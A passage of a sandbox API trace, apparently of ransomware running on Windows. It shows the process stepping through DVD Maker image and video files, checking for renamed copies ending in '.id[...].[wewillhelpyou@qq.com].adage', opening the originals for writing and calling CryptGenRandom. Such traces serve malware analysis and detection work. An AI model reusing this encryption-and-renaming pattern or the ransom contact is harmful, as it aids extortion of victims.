(normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_frame-shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_frame-shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.377] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.377] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=6166) returned 1 [0058.377] CloseHandle (hObject=0x180) returned 1 [0058.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png")) returned 0x20 [0058.377] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-backglow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-backglow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.378] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0058.378] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=7946) returned 1 [0058.378] CloseHandle (hObject=0x180) returned 1 [0058.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png")) returned 0x20 [0058.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-border.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-border.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.378] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.378] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.728] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4422) returned 1 [0058.728] CloseHandle (hObject=0x184) returned 1 [0058.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png")) returned 0x20 [0058.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_image-frame-ImageMask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_image-frame-imagemask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.728] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.728] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.728] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=16842) returned 1 [0058.728] CloseHandle (hObject=0x184) returned 1 [0058.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png")) returned 0x20 [0058.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\rollinghills.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\rollinghills.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.729] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0058.729] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=253226) returned 1 [0058.729] CloseHandle (hObject=0x184) returned 1 [0058.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv")) returned 0x20 [0058.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.730] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0058.874] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=261220) returned 1 [0058.874] CloseHandle (hObject=0x1a0) returned 1 [0058.874] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv")) returned 0x20 [0058.875] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0058.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_intro_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0058.879] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0058.880] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.103] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5072) returned 1 [0059.103] CloseHandle (hObject=0x180) returned 1 [0059.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp")) returned 0x20 [0059.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.104] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.104] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5072) returned 1 [0059.104] CloseHandle (hObject=0x180) returned 1 [0059.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp")) returned 0x20 [0059.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.104] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.105] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5072) returned 1 [0059.105] CloseHandle (hObject=0x180) returned 1 [0059.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp")) returned 0x20 [0059.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.105] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.106] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5072) returned 1 [0059.106] CloseHandle (hObject=0x180) returned 1 [0059.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp")) returned 0x20 [0059.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.106] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.107] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5072) returned 1 [0059.107] CloseHandle (hObject=0x180) returned 1 [0059.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp")) returned 0x20 [0059.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.107] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.107] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5072) returned 1 [0059.107] CloseHandle (hObject=0x180) returned 1 [0059.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp")) returned 0x20 [0059.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.108] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.108] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=5072) returned 1 [0059.108] CloseHandle (hObject=0x180) returned 1 [0059.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp")) returned 0x20 [0059.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.108] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.109] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4570) returned 1 [0059.109] CloseHandle (hObject=0x180) returned 1 [0059.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png")) returned 0x20 [0059.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.110] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.110] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2820) returned 1 [0059.110] CloseHandle (hObject=0x180) returned 1 [0059.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png")) returned 0x20 [0059.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0059.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.111] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0059.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0059.111] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=23215) returned 1 [0059.112] CloseHandle (hObject=0x180) returned 1 [0059.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" 